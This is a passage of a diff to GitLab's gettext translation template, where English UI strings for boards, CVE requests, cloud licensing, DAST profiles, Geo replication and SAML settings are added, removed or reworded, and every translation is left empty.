msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
